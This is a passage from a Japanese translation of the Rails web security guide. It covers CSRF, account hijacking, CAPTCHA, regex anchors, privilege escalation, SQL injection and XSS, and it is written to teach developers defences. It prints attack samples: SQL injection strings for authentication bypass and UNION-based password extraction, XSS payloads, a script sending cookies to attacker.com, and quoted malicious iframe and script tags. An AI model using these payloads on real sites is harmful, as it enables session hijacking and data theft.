管理画面やイントラネットで1箇所でもサニタイズ漏れがあれば、アプリ全体が脆弱になってしまいます。想定される攻撃としては、管理者のcookieの盗み出し、管理者パスワードを盗み出すためのiframe注入、管理者権限奪取のためにブラウザのセキュリティホールを経由して邪悪なソフトウェアをインストールする、などが考えられます。

XSS対策の注入に関する節を参照してください。

CSRF: クロスサイトリクエストフォージェリ (Cross-Site Request Forgery) はクロスサイトリファレンスフォージェリ (XSRF: Cross-Site Reference Forgery) とも呼ばれ、非常に強力な攻撃手法です。この攻撃を受けると、管理者やイントラネットユーザーが行えることをすべて行えるようになってしまいます。CSRFについては既に説明しましたので、ここでは攻撃者がイントラネットや管理画面に対して攻撃を仕掛ける手順をいくつかの事例を示して説明します。

現実に起きた事例としてCSRFによるルーター再構成 を取り上げましょう。この攻撃者は、CSRFを仕込んだ危険なメールをメキシコの多数のユーザーに送信しました。このメールには、「お客様のためのe-カードがございます」と書かれており、imageタグが含まれていました。そしてそのタグには、ユーザーのルーターを再構成してしまうHTTP GETリクエストが仕込まれていました。このルーターは、メキシコで広く普及しているモデルです。このリクエストによってDNS設定が変更され、メキシコで事業を行っているネットバンキングWebサイトが、攻撃者のWebサイトにマップされてしまいました。このルーターを経由してこのネットバンキングサイトにアクセスすると、攻撃者が設置した偽のWebサイトが開き、信用情報が盗まれてしまいました。

Google Adsenseのメールアドレスとパスワードが変更された事例もあります。標的となったユーザーがGoogle Adsenseにログインし、Google広告キャンペーン用の管理画面を開くと、攻撃者が信用情報を盗み出すことができてしまいました。

他の有名な事例としては、危険なXSSを拡散するために一般のWebアプリやブログ、掲示板が利用された事件があります。言うまでもなく、この攻撃を成功させるためには攻撃者がURL構造を知っている必要がありますが、RailsのURLはかなり構造が素直であるため、オープンソースの管理画面を使用していると構造を容易に推測できてしまいます。攻撃者は、ありそうなIDとパスワードの組み合わせを総当りで試す危険なImageタグを送り込むだけで、数千ものまぐれ当たりを得ることもあります。

管理画面やイントラネットへのCSRF攻撃への対策については、CSRFの対策についての節を参照してください

5.1 その他の予防策

管理画面は、多くの場合次のような作りになっているものです。www.example.com/admin のようなURLに置かれ、Userモデルのadminフラグがセットされている場合だけここにアクセスでき、管理者の権限でユーザー入力が再表示されると削除/追加/編集がすべて出来てしまいます。ここではこのことについて考察してみましょう。

  • 常に最悪の事態を想定することは極めて重要です。「誰かが自分のcookieやユーザー情報を盗み出すことができたらどうなるか」。管理画面にロール (role)を導入することで、攻撃者が行える操作の範囲を狭めることができます。1人の管理者に全権を与えるのではなく、権限を複数管理者で分散するのです。あるいは、管理画面用に特別なログイン情報を別途設置するという方法もあります。一般ユーザーが登録されているUserモデルに管理者も登録し、管理者フラグで分けると攻撃されやすいので、これを避けるためです。極めて重要な操作では特殊なパスワードを要求するようにするという方法もあります。

  • 管理者は、必ずしも世界中どこからでもそのWebアプリにアクセスできる必要性はないはずです。送信元IPアドレスを一定の範囲に制限するという方法を考えてみましょう。request.remote_ipメソッドを使用してユーザーのIPアドレスをチェックできます。この方法は攻撃に対する直接の防弾にはなりませんが、検問として非常に有効です。プロキシを使用して送信元IPアドレスを偽る方法があることも念頭においてください。

  • 管理画面を特別なサブドメインに置き(admin.application.comなど)、さらに独立した管理アプリにしてユーザー管理を独自に行えるようにします。このような構成にすることで、通常のwww.application.com ドメインからの管理者cookieを盗み出すことが不可能になります。ブラウザには同一生成元ポリシーがあるので、www.application.com に注入されたXSSスクリプトからは admin.application.com のcookieは読み出せず、逆についても同様に読み出し不可となります。

6 ユーザー管理

認証 (authentication) と認可 (authorization) はほぼすべてのWebアプリにおいて不可欠です。認証システムは自前で作るよりも、既存のプラグイン (訳注: 現在ならgem) を使用することをお勧めします。ただし、常に最新の状態にアップデートするようにしてください。この他にいくつかの注意を守ることで、アプリをよりセキュアにすることができます。

Railsでは多数の認証用プラグインを利用できます。人気の高いdeviseauthlogicなどの優れたプラグインは、パスワードを平文ではなく常に暗号化した状態で保存します。Rails 3.1では、同様の機能を持つビルトインのhas_secure_passwordメソッドを使用できます。

新規ユーザーは必ずメール経由でアクティベーションコードを受け取り、メール内のリンク先でアカウントを有効にするようになっています。アカウントが有効になると、データベース上のアクティベーションコードのカラムはNULLに設定されます。以下のようなURLをリクエストするユーザーは、データベースで見つかる最初に有効になったユーザーとしてWebサイトにログインできてしまうことがあります。そしてそれがたまたま管理者である可能性もあります。

http://localhost:3006/user/activate
http://localhost:3006/user/activate?id=

一部のサーバーでは、params[:id]で参照されるパラメータidがnilになってしまっていることがあるので、上のURLが通用してしまう可能性があります。アクティベーション操作中にこのことが突き止められるまでの流れは以下のとおりです。

User.find_by_activation_code(params[:id])

パラメータがnilの場合、以下のSQLが生成されます。

SELECT * FROM users WHERE (users.activation_code IS NULL) LIMIT 1

この結果、最初のユーザーがデータベースにいることがわかり、結果が返されてログインされます。詳細については筆者のブログ記事を参照してください。プラグインは、機会を見てアップデートすることをお勧めします。さらに、Webアプリにこのような欠陥がないかどうか見直しをかけてください。

6.1 アカウントに対する総当たり攻撃

アカウントに対する総当たり攻撃 (Brute-force attack) とは、ログイン情報に対して試行錯誤を繰り返す攻撃です。エラーメッセージをより一般的なものにすることで回避可能ですが、CAPTCHA (相手がコンピュータでないことを確認するためのテスト) への情報入力の義務付けもおそらく必要でしょう。

Webアプリ用のユーザー名リスト (名簿) は、パスワードへの総当たり攻撃に悪用される可能性があります。ユーザー名と同じであるなどの単純素朴なパスワードを使っている人が驚くほど多いため、総当たり攻撃に名簿が利用されやすいのです。辞書に載っている言葉に数字を混ぜた程度のパスワードが使用されていることがよくあります。従って、名簿と辞書を使用して総当り攻撃を行なう自動化プログラムがあれば、ものの数分でパスワードは見破られてしまいます。

このような総当たり攻撃を少しでもかわすため、多くのWebアプリはわざと一般的なエラーメッセージ「ユーザー名またはパスワードが違います」を表示するようにしています。どちらが違っているのかという情報を表示しないことで、総当たり攻撃による推測を少しでも遅らせます。「入力されたユーザー名は登録されていません」などというメッセージが返されようものなら、攻撃者はすぐさまユーザー名リストをかき集めて自動で巨大名簿を作成するでしょう。

しかし、Webアプリのデザイナーがおろそかにしがちなのは、いわゆる「パスワードを忘れた場合」ページです。こうしたページではよく、「入力されたユーザー名またはメールアドレスは登録されていません」という情報が表示されます。こうした情報は、攻撃者がアカウントへの総当り攻撃に使う有効なユーザー名一覧を作成するのに使われてしまいます。

これを少しでも緩和するには、「パスワードを忘れた場合」ページでも一般的なエラーメッセージを表示するようにしましょう。さらに特定のIPアドレスからのログインが一定回数以上失敗した場合には、CAPTCHA の入力をユーザーに義務付けるようにしてください。もちろん、このぐらいでは自動化された総当たり攻撃プログラムからの攻撃から完全に免れることはできません。こうしたプログラムは送信元IPアドレスを頻繁に変更するぐらいのことはやってのけるからです。しかしこの対策は攻撃に対するある程度のバリアになることも確かです。

6.2 アカウントのハイジャック

多くのWebアプリでは、ユーザーアカウントのハイジャックを容易に行えてしまいます。攻撃を困難にするような改良が進まないのはなぜでしょうか。

6.2.1 パスワード

攻撃者が、盗み出されたユーザーセッションcookieを手に入れ、それによってWebアプリが標的ユーザーとの間で共用可能になった状態を考えてみましょう。パスワードが簡単に変更できる画面設計(古いパスワードの入力が不要)であれば、攻撃者は数クリックするだけでアカウントをハイジャックできてしまいます。あるいは、パスワード変更画面がCSRF攻撃に対して脆弱な作りになっている場合、攻撃者は標的ユーザーを別のWebページに誘い込み、CSRFを実行するように仕込まれたimgタグを踏ませて、標的ユーザーのWebパスワードを変更するでしょう。対応策としては、パスワード変更フォームがCSRF攻撃に対して脆弱にならないようにすることです。同時に、ユーザーにパスワードを変更させる場合は、古いパスワードを必ず入力させるようにしてください

6.2.2 メール

しかし攻撃者は、登録されているメールアドレスを変更することでアカウントを乗っ取ろうとする可能性もありますので注意が必要です。攻撃者はメールアドレス変更に成功すると、「パスワードを忘れた場合」ページに移動し、攻撃者の新しいメールアドレスに変更通知メールを送信します。システムによってはこのメールに新しいパスワードが記載されていることもあります。対応策は、メールアドレスを変更する場合にもパスワード入力を必須にすることです。

6.2.3 その他

Webアプリの構成によっては、ユーザーアカウントをハイジャックする方法が他にも潜んでいる可能性があります。多くの場合、CSRFとXSSが原因となります。ここではGMailのCSRF脆弱性 で紹介されている例をとりあげます。なお上の記事に記載されているのは概念実証に過ぎません。仮にこの攻撃を受けた場合、標的ユーザーは攻撃者が支配するWebサイトに誘い込まれます。そのサイトのImgタグには仕掛けがあり、GMailのフィルタ設定を変更するHTTP GETリクエストがそこから送信されます。この標的ユーザーがGMailにログインしていた場合、フィルタ設定が攻撃者によって変更され、この場合はすべてのメールが攻撃者に転送されるようになります。この状態は、アカウント全体がハイジャックされたのと同じぐらいに有害です。対応策は、アプリのロジックを見なおしてXSSやCSRF脆弱性が持ち込まれないようにすることとしか言いようがありません。

6.3 CAPTCHA

CAPTCHAとは、コンピュータによる自動応答でないことを確認するためのチャレンジ-レスポンス式テストです。コメント入力欄などで、歪んだ画像に表示されている文字を入力させることで、入力者が自動スパムボットでないことを確認する場合によく使用されます。ネガティブCAPTCHAという手法を使えば、入力者に自分が人間であることを証明させるかわりに、ボットを罠にはめて正体を暴くことができます。

いわゆるスパムボット以外に、自動ログインボットも問題となります。CAPTCHAのAPIとしてはreCAPTCHAが有名です。これは古書から引用した言葉を歪んだ画像として表示します。初期のCAPTCHAでは背景を歪めて反りを与えていましたが、これは突破されたため、現在では文字の上に曲線を書き加えて強化しています。なお、reCAPTCHAは古書のデジタル化にも使えます。ReCAPTCHAはRailsのプラグインにもなっており、APIとして同じ名前が使用されています。

このAPIからは公開鍵と秘密鍵の2つの鍵を受け取ります。これらはRailsの環境に置く必要があります。それにより、ビューでrecaptcha_tagsメソッドを、コントローラではverify_recaptchaメソッドをそれぞれ使用できます。検証に失敗するとVerify_recaptchaからfalseが返されます。 いわゆるCAPTCHAの問題は、ユーザーにとって入力が多少なりとも面倒になることです。さらに、弱視など視力に問題のあるユーザーはCAPTCHAの歪んだ画像をうまく読めないこともあります。ここで、ネガティブCAPTCHAという別のアイディアがあります。この方法のコンセプトは、入力者をわずらわせて自分が人間であることを証明させる代りに、ボットを罠にはめて入力者がボットであることを突き止めるというものです。

たいていのボットは、単にWebページをクロールしてフォームを見つけるたびにスパム文を入力するだけのお粗末なものです。ネガティブCAPTCHAでは、ボットをはめる罠として「ハニーポット」フィールドを用意します。これは、CSSやJavaScriptを使用して人間には表示されないようにしたダミーのフィールドです。

ネガティブCAPTCHAが効果を発揮するのはWebをクロールする自動ボットからの保護のみであり、重要なサイトに狙いを定めるボットの保護には不向きです。しかしネガティブCAPTCHAとポジティブCAPTCHAをうまく組み合わせればパフォーマンスを改善できることがあります。たとえば"honeypot"フィールドが空でない場合(=ボットが検出された)はポジティブCAPTCHAの検証は不要になり、レスポンス処理の前にGoogle ReCapchaにHTTPSリクエストを送信せずに済みます。

ここでは、JavaScriptやCSSを使用してハニーポットフィールドを人間から隠す方法をいくつか説明します。

  • ハニーポットフィールドを画面の外に追いやって見えないようにする
  • フィールドを見ないぐらいに小さくしたり、背景と同じ色にしたりする
  • ハニーポットフィールドを隠さず、その代わり「このフィールドには何も入力しないでください」と表示する

最もシンプルなネガティブCAPTCHAは、ハニーポットフィールドを1つ使用するものです。このフィールドをサーバー側でチェックします。フィールドに何か書き込まれていれば、入力者はボットであると判定できます。後はフォームの内容を無視するなり、通常通りメッセージを表示する(データベースには保存しない)などすればよいのです。通常どおりメッセージを表示しておけば、ボットは書き込み失敗に気が付かずにそのまま通りすぎていくでしょう。この手法は、迷惑なユーザーへの対応策としても有効です。

Ned Batchelderのブログ投稿には、さらに洗練されたネガティブCAPTCHA手法がいくつか紹介されています。

  • 現在のUTCタイムスタンプを含めたフィールドをフォームに含めておき、サーバー側でこのフィールドをチェックします。フィールドの時刻が遠い過去になっていたり未来になっていたりする場合は、そのフォームは無効です。
  • フィールド名をランダムに変更します
  • ハニーポットフィールドを複数用意し、送信ボタンを含むあらゆる型を与えます。

6.4 ログ出力

Railsのログ出力にパスワードが含まれることのないようにしてください。

デフォルトでは、RailsのログにはWebアプリへのリクエストがすべて出力されます。しかしログファイルにはログイン情報、クレジットカード番号などの情報が含まれていることがあるため、重大なセキュリティ問題の原因になることがあります。Webアプリのセキュリティコンセプトをデザインするにあたり、攻撃者がWebサーバーへのフルアクセスを成功させてしまった場合のことも必ず考慮に含めておく必要があります。パスワードや機密情報がログファイルに平文のままで出力されていては、データベース上でこれらの情報を暗号化していても意味がなくなってしまいます。Railsアプリの設定ファイル config.filter_parameters に特定のリクエストパラメータをログ出力時にフィルタする設定を追加することができます。フィルタされたパラメータはログ内で [FILTERED] という文字に置き換えられます。

config.filter_parameters << :password

指定したパラメータは正規表現の部分マッチによって除外されます。Railsはデフォルトで:passwordを適切なイニシャライザ(initializers/filter_parameter_logging.rb)に追加し、アプリの典型的なpasswordパラメータやpassword_confirmationパラメータに配慮します。

6.5 よいパスワード

思い出せなくなったパスワードがありますか。パスワードを書き留めたりしないでください。覚えられる文を決め、単語の頭文字を集めたものをパスワードにしてください。

セキュリティの専門家Bruce Schneierは、後述の方法でMySpace上に実在する34,000人のユーザーのユーザー名やパスワードに対するフィッシング攻撃がどのぐらい有効であるかを分析しました。その結果、大半のパスワードがいとも簡単にクラックできてしまうことが判明しました。最もありがちな20のパスワードは以下のとおりです。

password1、abc123、myspace1、password、blink182、qwerty1、****you、123abc、baseball1、football1、123456、soccer、monkey1、liverpool1、princess1、jordan23、slipknot1、superman1、iloveyou1、monkey

なお、辞書に載っている単語がそのまま使われているケースはこの中で4%に過ぎず、ほとんどは英文字に数字を混ぜたものになっているのはなかなか興味深い点です。しかし、パスワードクラック用の辞書にはこうした膨大なパスワードが集められており、攻撃者は英文字と数字のあらゆる組み合わせを試そうとしています。攻撃者が標的ユーザーのユーザー名を知り、そのユーザーが使用しているパスワードが弱ければ、そのアカウントは簡単にクラックされてしまいます。

よいパスワードの条件とは、「十分に長く」「英文字と数字が使用されており」「大文字と小文字が両方使用されている」ことです。しかしそのようなパスワードは覚えにくいので、まずは自分が覚えられる文を決め、その文で使用されている単語の頭文字を集めてパスワードにすることをお勧めします。「The quick brown fox jumps over the lazy dog」という文ならたとえば「Tqbfjotld」というパスワードにできます。もちろん上はあくまで例に過ぎません。実際にはこのようなありふれた文をパスワードにしないでください。この程度のパスワードはクラッキング用辞書に収録されている可能性があります。

6.6 正規表現

Rubyの正規表現で落とし穴になりやすいのは、より安全な「\A」や「\z」があることを知らずに危険な「^」や「$」を使ってしまうことです。

Rubyの正規表現では、文字列の最初や最後にマッチさせる方法が他の言語と若干異なります。このため、多くのRuby本やRails本でもこの点に誤りが生じています。いったいどのような問題が生じるのでしょうか。たとえば、URL形式になっているかどうかをざっくりと検証したいので、以下のような単純な正規表現を使用したとします。

  /^https?:\/\/[^\n]+$/i

これは一部の言語では正常に動作します。しかし、Rubyでは「^」と「$」は、入力全体ではなく、 **行の 最初と最後**にマッチしてしまいます。従って、この場合以下のような毒入りURLはフィルタを通過してしまいます。

javascript:exploit_code();/*
http://hi.com
*/

上のURLがフィルタに引っかからないのは、入力の2行目にマッチしてしまうからです。従って、1行目と3行目にどんな文字列があってもフィルタを通過してしまいます。フィルタをすり抜けてしまったURLが、今度はビューの以下の箇所で表示されたとします。

  link_to "Homepage", @user.homepage

表示されるリンクは一見無害に見えますが、クリックすると、攻撃者が送り込んだ邪悪なJavaScript関数を初めとするJavaScriptコードが実行されてしまいます。

これらの正規表現は、危険な「^」や「$」を安全な「\A」や「\z」に置き換える必要があります。

  /\Ahttps?:\/\/[^\n]+\z/i

「^」や「$」を使用してしまうミスは何かと発生しやすいので、正規表現が「^」で始まったり「$」で終わっていたりするとフォーマットバリデータ (validates_format_of) で例外が発生するようになりました。めったにないと思われますが、「\A」や「\z」の代りに「^」や「$」をどうしても使用したい場合は、:multilineオプションをtrueに設定することもできます。

  # この文字列のどの行であっても"Meanwhile"という文字が含まれている必要があります。
  validates :content, format: { with: /^Meanwhile$/, multiline: true }

この方法は、フォーマットバリデータ使用時に起きがちな間違いから保護するためだけのものです。「^」と「$」はRubyでは 1つの行 に対してマッチし、文字列全体にマッチしないということをよく理解することが重要です。

6.7 権限昇格

1つのパラメータが変更されただけでも、ユーザーが不正な権限でアクセスできるようになってしまうことがあります。パラメータは、たとえどれほど難読化し、隠そうとも変更される可能性があることを忘れないでください。

改ざんされる可能性が高いパラメータといえばidでしょう。http://www.domain.com/project/1の1がidです。このidはコントローラのparamsを経由して取得できます。コントローラ内では、次のようなことが行われている可能性があります。

@project = Project.find(params[:id])

Webアプリによってはこのコードでも問題はありませんが、そのユーザーがすべてのビューを参照する権限がない場合には問題となります。このユーザーがURLのidを42に変更し、本来のidでは表示できないページを表示できてしまいます。このようなことにならないよう、 ユーザーのアクセス権もクエリに含めてください

@project = @current_user.projects.find(params[:id])

Webアプリによっては、ユーザーが改ざん可能なパラメータが他にも潜んでいる可能性があります。経験則に照らし合わせても、 安全が確認されていないユーザー入力が安全であることはありえず、ユーザーから送信されるどのようなパラメータにも、何らかの操作が加えられている可能性は常にあります

難読化とJavaScriptによる検証のセキュリティだけで安全を保てると考えてはなりません。ブラウザのWeb Developer Toolbarを使えば、フォームの隠しフィールドを見つけて変更することもできます。JavaScriptを使用してユーザーの入力データを検証することはできますが、攻撃者が想定外の値を与えて邪悪なリクエストを送信することは阻止できません 。Mozilla Firefox用のLive HTTP Headersプラグインを使用すると、すべてのリクエストをログに記録して、それらを繰り返し送信したり変更したりすることができます。さらに、JavaScriptによる検証はJavaScriptをオフにすれば簡単にバイパスできてしまいます。クライアント側に、クライアントからのリクエストやインターネットからの応答を傍受しているプロキシが介在している可能性も忘れないようにしておく必要があります。

7 インジェクション

インジェクション (注入) とは、Webアプリに邪悪なコードやパラメータを導入して、そのときのセキュリティ権限で実行させることです。XSS (クロスサイトスクリプティング) やSQLインジェクションはインジェクションの顕著な例です。

インジェクションは、それによって注入されるコードやパラメータが、あるコンテキストでは有害であっても、それ以外のほとんどのコンテキストでは無害であるという点で非常にトリッキーであると言えます。ここでいうコンテキストとは、スクリプティング、クエリ、プログラミング言語、シェル、RubyやRailsのメソッドなどがあります。以下の節では、インジェクション攻撃が発生しうる重要なコンテキストについて説明します。ただし最初の節では、インジェクションの際の接続方法におけるアーキテクチャ上の決定事項について説明します。

7.1 ホワイトリストとブラックリスト

サニタイズ、保護、検証では、通常ホワイトリストの方がブラックリストよりも使用されます。

悪事に使われるメールアドレス、非公式のアクション、邪悪なHTMLタグなどについてブラックリストが作成されることがあります。ホワイトリストはこれと対を成すもので、悪事に使われないことがわかっているメールアドレス、公式のアクション、無害なメールアドレスなどをホワイトリストにすることができます。スパムフィルタなど、対象によってはホワイトリストを作成しようがないものもありますが、 基本的にはまずホワイトリストが使用されます

  • セキュリティに関連するbefore_actionでは、except: [...]ではなくonly: [...]を使用してください。その方が将来コントローラにアクションが追加された場合に、そのアクションをオフにするのを忘れずに済みます。
  • クロスサイトスクリプティング (XSS) 対策として、<script>を削除するのではなく<strong>を許可してください。詳細については、下記を参照してください。
  • ブラックリストに引っかかったユーザー入力データをコードで修正して使用しないでください。
    • そのようなことをすると、"<sc<script>ript>".gsub("<script>", "")という攻撃が成立してしまいます。
    • ブラックリストに引っかかった入力は受け付けないでください。

特定の項目だけを許可するホワイトリストアプローチは、特定の項目だけを禁止するブラックリストアプローチに比べて、ブラックリストへの禁止項目の追加忘れが原理的に発生しないので、望ましい方法であると言えます。

7.2 SQLインジェクション

メソッドの改良が進んだおかげで、SQLインジェクションがRailsアプリで問題になることはめったになくなりました。しかしSQLインジェクションはひとたび発生すれば壊滅的な打撃を受ける可能性があり、Webアプリに対する一般的な攻撃方法でもあるため、この問題を十分に理解することが重要です。

7.2.1 はじめに

SQLインジェクションは、Webアプリのパラメータを操作してデータベースクエリに影響を与えることを目的とした攻撃手法です。SQLインジェクションは、認証をバイパスする目的でよく使用されます。他にも、データを操作したり任意のデータを読み出したりする目的にも使用されます。クエリのユーザー入力データをそのまま使用せずに改ざんする方法の例を以下で説明します。

Project.where("name = '#{params[:name]}'")

上のコードは検索用のアクションなどで使われるものであり、ユーザーは検索したいプロジェクト名を入力します。ここで、悪意のあるユーザーが「' OR 1 --」という文字列を入力すると、以下のSQLクエリが生成されます。

SELECT * FROM projects WHERE name = '' OR 1 --'

2つのダッシュ「--」が末尾に置かれると、以後に追加されるクエリがすべてコメントと見なされてしまい、実行されなくなります。そのため、projectsテーブルからすべてのレコードが取り出されます。これらは通常のユーザーからは参照できないはずのものです。これは、クエリですべての条件がtrueになっているために発生しています。

7.2.2 認証のバイパス

Webアプリには、何らかの形でアクセス制御が行われるのが普通です。ユーザーがログイン情報を入力すると、Webアプリはユーザーテーブルに登録されているレコードとマッチするかどうかを調べます。既存のレコードとマッチする場合、アプリはアクセスを許可します。しかしながら、攻撃者がSQLインジェクションを使用することでこの認証をすり抜けてしまう可能性があります。以下はRailsにおける典型的なデータベースクエリです。ユーザーが入力したログイン情報パラメータとマッチするUserテーブル上の最初のレコードを返します。

User.find_by("login = '#{params[:name]}' AND password = '#{params[:password]}'")

ここで攻撃者が「' OR '1'='1」という文字列を名前フィールドに入力し、「' OR '2'>'1」をパスワードフィールドに入力すると以下のSQLクエリが生成されます。

SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1

マッチする最初のレコードがこのクエリによって取得され、ユーザーにアクセスが許可されてしまいます。

7.2.3 不正なデータ読み出し

UNION文は2つのSQLクエリをつなぎ、1つのセットとしてデータを返します。攻撃者はUNIONを使用してデータベースから任意のデータを読み出す可能性があります。再び上の例を使用して説明します。

Project.where("name = '#{params[:name]}'")

ここで、UNION文を使用した以下の文字列を注入したとします。

') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --

これによって以下のSQLが生成されます。

SELECT * FROM projects WHERE (name = '') UNION
  SELECT id,login AS name,password AS description,1,1,1 FROM users --'

このクエリで得られるのはプロジェクトのリストではなく(名前が空欄のプロジェクトはないので)、ユーザー名とパスワードのリストです。データベース上のパスワードが暗号化されていればまだ最悪の事態は避けられます。一方、攻撃者にとって気がかりなのは、両方のクエリでカラムの数を同じにしなければならないということです。この攻撃用文字列では、そのために2番目のクエリに「1」を連続して配置しています。これらの値は常に1になるので、1番目のクエリのカラム数と一致します。

同様に、2番目のクエリではASを使用してカラム名をリネームしています。これにより、ユーザーテーブルから取り出した値がWebアプリ上で表示されます。Railsを最低でも2.1.1にアップデートしてください。

7.2.4 対応策

Ruby on Railsには、特殊なSQL文字をフィルタする仕組みがビルトインで備わっています。「'」「"」NULL、改行がエスケープされます。Model.find(id)Model.find_by_なんちゃら(かんちゃら) に対しては自動的にこの対応策が適用されます。ただし、SQLフラグメント、特に 条件フラグメント (where("..."))、connection.execute()またはModel.find_by_sql()メソッド については手動でエスケープする必要があります。

条件オプションには文字列を直接渡す代りに、以下のように配列を渡すことで、汚染された文字列をサニタイズすることもできます。

Model.where("login = ? AND password = ?", entered_user_name, entered_password).first

上に示したように、配列の最初の部分がSQLフラグメントになっており、その中に疑問符「?」が含まれています。サニタイズされた変数は、配列の後半に置かれており、フラグメント内の疑問符を置き換えます。ハッシュを渡して同じ結果を得ることもできます。

Model.where(login: entered_user_name, password: entered_password).first

モデルのインスタンスでは、配列またはハッシュのみが使用できます。他の場所でsanitize_sql()を使ってみることもできます。SQLで外部の文字列を、サニタイズせずに使用するとセキュリティ上重大な結果がもたらされる可能性があることを普段から考える習慣をつけましょう

7.3 クロスサイトスクリプティング (XSS)

XSSは最もよく発生するWebセキュリティ上の脆弱性であり、ひとたび発生すると壊滅的な影響が生じる可能性があります。XSSを使用した悪意のある攻撃が行われると、クライアント側のコンピュータに実行可能なコードが注入されてしまいます。Railsには、このような攻撃をかわすためのヘルパーメソッドが用意されています。

7.3.1 攻撃点

攻撃点 (entry point) とは、攻撃者が攻撃を向ける対象となる、脆弱なURLおよびパラメータのことです。

攻撃点として最も選ばれやすいのはメッセージ投稿、ユーザーコメント、ゲストブックですが、プロジェクトタイトル、ドキュメント名、検索結果ページなども同様に脆弱性を抱えていたことがありました。ユーザーがデータを入力可能なところはどこでも攻撃点になりえます。ただし、攻撃者がデータを入力するのはWebサイト上の入力ボックスとは限りません。URLに含まれているパラメータ、URLに直接含まれていないが使用可能な「隠れた」パラメータ、URLに含まれない内部パラメータのどこからでも攻撃者がデータを入力する可能性があります。攻撃者がすべてのトラフィックを傍受している可能性を常に考慮に入れる必要があります。アプリケーションプロキシやクライアント側プロキシを使用することで、リクエストを簡単に改ざんすることができます。

XSS攻撃は次のように行われます。攻撃者が何らかのコードをWebアプリに注入し、後に標的ユーザーのWebページ上に表示されます。多くのXSSの例では、単に警告ボックスを表示するだけですが、実際のXSS攻撃はもっと凶悪です。XSSを使用することで、cookieの盗み出し、セッションのハイジャック、標的ユーザーを偽のWebサイトに誘い込む、攻撃者の利益になるような広告を表示する、Webサイトの要素を書き換えてユーザー情報を盗み出したりWebブラウザのセキュリティ・ホールを経由して邪悪なソフトウェアをインストールしたりできることがあります。

2007年後半、Mozillaブラウザで88の脆弱性、Safariで22、IEで18、Operaで12の脆弱性が報告されました。Symantec Global Internet Security threat report には、2007年後半にブラウザのプラグインで239の脆弱性が報告されています。Mpackは大変活発かつ最新の攻撃用フレームワークであり、これらの脆弱性を使用しています。犯罪的なハッカーにとって、WebアプリフレームワークのSQLインジェクションの脆弱性につけ込み、テキストテーブルのカラムに凶悪なコードを注入して回るのはたまらない魅力です。2008年4月には、510,000以上のWebサイトがこの方法でハッキングされ、英国政府、国連など多くの重要なサイトが被害に遭いました。

バナー広告は、比較的目新しい攻撃点です。Trend Microによると、2008年初頭に、MySpaceやExciteなどの有名サイトのバナー広告に悪意のあるコードが仕込まれたという事例がありました。

7.3.2 HTML/JavaScriptインジェクション

XSS攻撃に利用されやすい言語は、言うまでもなくクライアント側で最も普及している言語であるJavaScriptであり、しばしばHTMLと組み合わせて攻撃に使用されます。 攻撃を避けるにはユーザー入力をエスケープする 必要があります。

XSSをチェックする最も簡単なテストをご紹介します。

<script>alert('Hello');</script>

このJavaScriptコードを実行すると、警告ボックスが1つ表示されるだけです。次の例では、見かけの動作はまったく同じですが、通常ではありえない場所にコードが置かれています。

<img src=javascript:alert('Hello')>
<table background="javascript:alert('Hello')">
7.3.2.1 Cookie窃盗

先ほどの例では何の害も生じないので、今度は攻撃者がユーザーのcookieを盗み出す手法をご紹介します (攻撃者はこれを使用してユーザーのセッションをハイジャックします)。JavaScriptでは、document.cookieプロパティを使用してドキュメントのcookieを読み書きできます。JavaScriptでは同一生成元ポリシーが強制的に適用されます。これは、あるドメインから送り込まれたスクリプトからは、別のドメインのcookieにアクセスできないようにするポリシーです。document.cookieプロパティには、生成元webサーバーのcookieが保存されています。しかし、HTMLドキュメントに直接コードを埋め込むと(XSSによってこれが生じることがあります)、このプロパティを読み書きできてしまいます。このコードを自分のWebアプリの適当な場所に手動で注入すると、そのページに含まれている自身のcookieが表示されるのがわかります。

<script>document.write(document.cookie);</script>

もちろん、攻撃者にしてみれば標的ユーザーが自分で自分のcookieを表示したところで何の意味もありません。次の例では、http://www.attacker.com/ というURLから画像とcookieを読み込みます。言うまでもありませんが、このURLは実際には存在しませんので、ブラウザには何も表示されません(訳注: 現在は売り物件のWebページがあるようです)。ただし攻撃者はWebサーバーのアクセスログファイルを調べて標的ユーザーのcookieを参照することができます。

<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>

www.attacker.com サイト上のログファイルには以下のように記録されます。

GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2

この攻撃をある程度軽減するためにはhttpOnlyフラグをcookieに追加します。これにより、JavaScriptを使用してdocument.cookieを読み出せなくなります。HTTP only cookieはIE v6.SP1、Firefox v2.0.0.5、Opera 9.5から使用できます。Safariはまだこのフラグを検討中であり、このオプションは無視されます。ただしWebTVやMac版IE 5.5などの古いブラウザでは、ページ上での読み込みに失敗します。なお、Ajaxを使用するとcookieが表示可能になることにもご注意ください。

7.3.2.2 Webページの汚損

Webページを書き換える (汚損) ことで、偽の情報を表示したり、標的ユーザーを攻撃者の偽サイトに誘い込んでcookieやログイン情報などの重要データを盗み出すなどのさまざまな攻撃が可能になります。最も多い攻撃は、iframeを使用して外部のコードをWebページに含める方法です。

<iframe name="StatPage" src="http://58.xx.xxx.xxx" width=5 height=5 style="display:none"></iframe>

このコードによって、外部にある任意のHTMLやJavaScriptが読み込まれ、Webサイトの一部として埋め込まれます。上のiframeは、Mpack攻撃フレームワークを使用してイタリアにあるWebサイトへの攻撃で実際に用いられたものです。MpackはWebブラウザのセキュリティホールを介して邪悪なソフトウェアをインストールしようとします。そして攻撃の成功率は50%を誇っています。

さらに専門的な攻撃としては、Webサイト全体を上に重ねて表示したりログインフォームを表示したりするというのがあります。これらは元のサイトと一見そっくりですが、入力されたユーザー名とパスワードを密かに攻撃者のサイトに送信します。あるいは、CSSやJavaScriptを駆使してWebアプリ上の本物のリンクを隠して別のリンクを表示し、ユーザーを偽のサイトにリダイレクトするという手法もあります。

リフレクションインジェクション (Reflected injection) 攻撃も同様の攻撃です。標的ユーザーに後で表示されるペイロードが保存されておらず、実際にはURLに長大な文字列として仕込まれています。特に検索フォームで検索文字列のエスケープに失敗します。以下のリンク先には、「ジョージ・ブッシュが議長に9歳の男の子を任命」と書かれたページがありました。

http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1-->
  <script src=http://www.securitylab.ru/test/sc.js></script><!--
7.3.2.3 対応策

悪意のある入力をフィルタすることがきわめて重要です。Webアプリの出力をエスケープすることも同様に重要です

